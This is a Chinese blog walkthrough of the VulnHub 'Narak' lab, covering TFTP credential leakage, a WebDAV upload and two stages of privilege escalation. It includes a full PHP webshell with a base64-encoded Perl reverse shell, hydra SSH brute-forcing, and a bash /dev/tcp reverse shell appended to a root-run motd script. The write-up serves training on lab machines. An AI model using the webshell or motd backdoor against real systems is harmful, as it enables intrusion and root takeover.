🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
nmap漏洞扫描
nikto漏洞扫描
二、渗透测试+信息收集
1、web渗透
2、目录扫描
3、信息收集+TFTP渗透测试
tftp协议
4、反弹shell
三、提权
1、信息收集
2、初步提权
3、二次提权
user.txt
root.txt
前言
学渗透必打百台靶机实操精讲-Narak。涉及UDP突破,TFTP信息泄漏,webdav反弹shell上传。二级提权,第一级通过找到可写bash脚本文件中的brainfuck语句,获得凭据,二级通过motd脚本获得root权限。相比之前的视频,增加了些新知识,值得玩味的攻击链。可以结合靶机实操。
一、信息收集
1、主机探测
发现靶机的IP地址是192.168.31.171
┌──(root💀kali)-[~]
└─# arp-scan -l
2、端口扫描
发现靶机开放了22和80端口,从目前的信息来看。我们肯定是首先从web的80端口下手渗透测试
┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.31.171
3、漏洞扫描
nmap漏洞扫描
80端口的web目录,发现/webdav/目录,我们可以尝试访问下
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80 192.168.31.171
/webdav/目录,是存在登录凭据的,我们需要查找/webdav/目录的账号密码,到时候尝试登录
WebDAV(Web Distributed Authoring and Versioning)是一种用于在远程服务器上进行文件管理和协同工作的协议。对于使用 WebDAV 服务器的用户来说,/webdav/ 可能是服务器上提供的 WebDAV 服务的根目录路径。
nikto漏洞扫描
nikto漏洞扫描,发现靶机的一些版本信息和一些目录,但是这些信息对目前的渗透测试来讲没有什么价值。
┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.171
二、渗透测试+信息收集
1、web渗透
访问web80端口,发现是一个关于印度题材的一个界面,下面有一个介绍,我给大家翻译下
像这里面的用户名要注意下,因为靶场开放了22端口,到时候大概率要利用ssh远程登录,所以对于用户和密码需要多注意下。
目前我们还没有找到关键的突破点,所以我们下一步需要从扫描目录的点着手。
2、目录扫描
扫描发现了/images和/webdav和/server-status目录,访问后,发现就是开始前面访问的/webdav目录有用,其他的没有什么发现。这就很难搞啊,到目前还是没有什么突破,在目录扫描方面,gobuster 对于目录列举,有些后缀,他默认没有扫描,比如:zip,rar,sql,txt,php等,需要我们手动去添加扫描
┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
- dir:指定 gobuster 工具要执行的模式,这里是目录扫描模式,即扫描指定 URL 中的目录。
- -u http://192.168.31.171:指定要扫描的目标 URL,这里是 http://192.168.31.171,即目标网站的地址。
- -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt:指定字典文件的位置,这里是 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,即作为目录爆破的字典文件。
gobuster进阶
我们利用gobuster手动对一些特定的后缀进行扫描,发现/tips.txt目录下,有线索
┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,sql,txt,php
根据作者的提示,我们需要找到creds.txt文件,然后在里面有突破的线索,但是我访问这个目录,发现访问不成功,说明这个文件,在web页面不可以直接访问,可能需要利用某些协议才可以访问到,但是我们最先开始扫描端口,就一个22端口开放了ssh协议,这就很奇怪了!
有没有可能我们扫描端口开放的协议,并没有扫描完全,还有的端口没有发现,这么一想,好像被nmap的-p-给欺骗了,因为,它默认不骚了UDP端口的协议,所以我们下一步就可以扫描UDP 的端口协议。
3、信息收集+TFTP渗透测试
扫描UDP端口协议,发现可能存在开放了tftp协议
┌──(root💀kali)-[~]
└─# nmap -sU --top-port 20 192.168.31.171
-sU
:指定nmap
使用 UDP 扫描模式。UDP 扫描用于探测目标主机上开放的 UDP 端口。--top-port 20
:限制扫描的端口范围为前 20 个最常见的端口。
tftp协议
TFTP(Trivial File Transfer Protocol)是一种简单的文件传输协议,用于在计算机网络中进行文件传输。与 FTP(File Transfer Protocol)相比,TFTP更加简单,功能也相对有限。 TFTP通常用于进行无需用户认证和权限控制的简单文件传输操作。它基于UDP(User Datagram Protocol)协议工作,使用69号端口进行通信。TFTP不需要建立持久的连接,每个文件传输操作都是独立的。
TFTP的设计目标是提供一种轻量级的文件传输解决方案。它通常用于像路由器和网络设备等资源受限的环境中,用于通过网络进行固件更新、配置文件传输等操作。TFTP支持读取(下载)和写入(上传)文件,但它没有目录列表、登录认证、加密等高级功能。
既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:
┌──(root💀kali)-[~/桌面]
└─# tftp 192.168.31.171 2 ⚙
tftp> get creds.txt
Received 22 bytes in 0.0 seconds
tftp> quit
下载完以后,查看发现creds.txt是个base64加密的文件,解密后得到:yamdoot:Swarg,应该是串账号密码,我们可以尝试ssh远程登录,但是发现登录失败。
后来,我们想到开始的/webdav,也是需要账号密码登录的,后来尝试登录成功了。
┌──(root💀kali)-[~/桌面]
└─# cat creds.txt 2 ⚙
eWFtZG9vdDpTd2FyZw==┌──(root💀kali)-[~/桌面]
└─# echo "eWFtZG9vdDpTd2FyZw==" |base64 -d 2 ⚙
yamdoot:Swarg
/webdav登录成功了,但是里面没有什么文件,但是我们可以利用/webdav的客户端管理工具进行上传webshell木马,然后反弹shell
此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
┌──(root💀kali)-[~/桌面]
└─# davtest -url http://192.168.31.171/webdav -auth yamdoot:Swarg
我们可以看到可以利用客户端上传哪些文件,并且对于的哪些权限,我们发现txt、php和html的权限最高。
对于文件执行,只有 txt、php 和 html 类型的文件被成功执行。而其他类型的文件(jhtml、cgi、cfm、asp、aspx、shtml、jsp、pl)均没有成功执行。
所以,我们需要写一个php的webshell进行上传,然后再利用kali进行监听,然后反弹shell
4、反弹shell
webshell木马
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.31.225";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
然后再利用一个客户端,把webshell.php上传,此处使用的webdav客户端是cadaver:
┌──(root💀kali)-[~/桌面]
└─# cadaver http://192.168.31.171/webdav 3 ⚙
Authentication required for webdav on server `192.168.31.171':
Username: yamdoot
Password:
dav:/webdav/> put webshell.php
Uploading webshell.php to `/webdav/webshell.php':
Progress: [=============================>] 100.0% of 1706 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
Coll: DavTestDir_s2zRPsmpVIjC 0 2月 21 23:02
Coll: DavTestDir_uUl0kpRTt3uybI 0 2月 21 05:16webshell.php 1706 2月 21 23:08输入用户名和密码(yamdoot:Swarg)
kali先进行监听,然后再点击webshell.php文件,然后发现反弹shell成功了
python3 -c 'import pty; pty.spawn ("/bin/bash")' //交互式shellexport TERM=xterm //添加环境变量,使shell更加完整
三、提权
1、信息收集
发现sudo提权和SUID都没有可以提权的地方
www-data@ubuntu:/var/www/webdav$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/umount
/bin/mount
/bin/ntfs-3g
/bin/su
/bin/fusermount
/bin/ping
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/traceroute6.iputils
cat /etc/crontab查看有没有定时任务执行啥的,发现也是没有
www-data@ubuntu:/var/www/webdav$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
终通过查找可写的文件发现了一些端倪:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
发现/mnt/hell.sh里面是一个Brainfuck 编程语言的代码,然后/etc/apache2/users.password里面是我们开始登录/webdav的登录凭据。
cat /mnt/hell.sh
#!/bin/bashecho"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
www-data@ubuntu:/var/www/webdav$ cat /etc/apache2/users.password
cat /etc/apache2/users.password
yamdoot:webdav:8ef09831d201bd84acb0ef99a4a98a91
我们对Brainfuck代码进行解密,解密网站如下:解密得到一串应该是密码,chitragupt
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]https://www.splitbrain.org/services/ook
2、初步提权
我们上面经过信息收集,发现了一个密码,我们现在可以去收集靶机相关的账号,然后利用hydra九头蛇进行爆破ssh远程登录。
我们在/home家目录下,看到三个用户,然后在/etc/passwd文件下,看到具有/bin/bash权限的用户,也刚好有这几个,很有可能这几个账户中就有和刚才chitragupt密码匹配ssh的用户。
把账号密码分别进行保存,然后再利用hydra九头蛇进行爆破
┌──(root💀kali)-[~]
└─# vim passwd.txt 1 ⚙┌──(root💀kali)-[~]
└─# vim users.txt 1 ⚙┌──(root💀kali)-[~]
└─# cat passwd.txt 1 ⚙
chitragupt┌──(root💀kali)-[~]
└─# cat users.txt 1 ⚙
root
inferno
yamdoot
narak
爆破成功,
[22][ssh] host: 192.168.31.171 login: inferno password: chitragupt
┌──(root💀kali)-[~]
└─# hydra -L users.txt -P passwd.txt 192.168.31.171 ssh 1 ⚙
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-22 00:12:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking ssh://192.168.31.171:22/
[22][ssh] host: 192.168.31.171 login: inferno password: chitragupt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-22 00:12:13
ssh远程登录成功了
┌──(root💀kali)-[~]
└─# ssh inferno@192.168.31.171 1 ⚙
inferno@192.168.31.171's password:
Last login: Wed Feb 21 06:03:50 2024 from 192.168.31.225
inferno@ubuntu:~$ export TERM=xterm //环境变量,使shell更加完整
inferno@ubuntu:~$ whoami
inferno
3、二次提权
sudo提权和SUID提权以及查看定时进程任务都没有发现可以提权的地方,
user.txt
找到了user的flag
inferno@ubuntu:~$ ls
user.txt
inferno@ubuntu:~$ cat user.txt
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}
查看哪些具有可写权限的文件:
inferno@ubuntu:~$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:
后来发现00-header,这个脚本的目的是在登录时向用户显示相关的系统信息。
可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell。
把到时候kali监听的反弹shell写入到00-header中,然后我们再利用卡里监听,然后重新ssh登录inferno用户,就可以得到root权限了
inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/192.168.31.225/4444 0>&1'" >> 00-header
root.txt
恭喜我们拿到了root权限,也成功拿到了root用户的flag了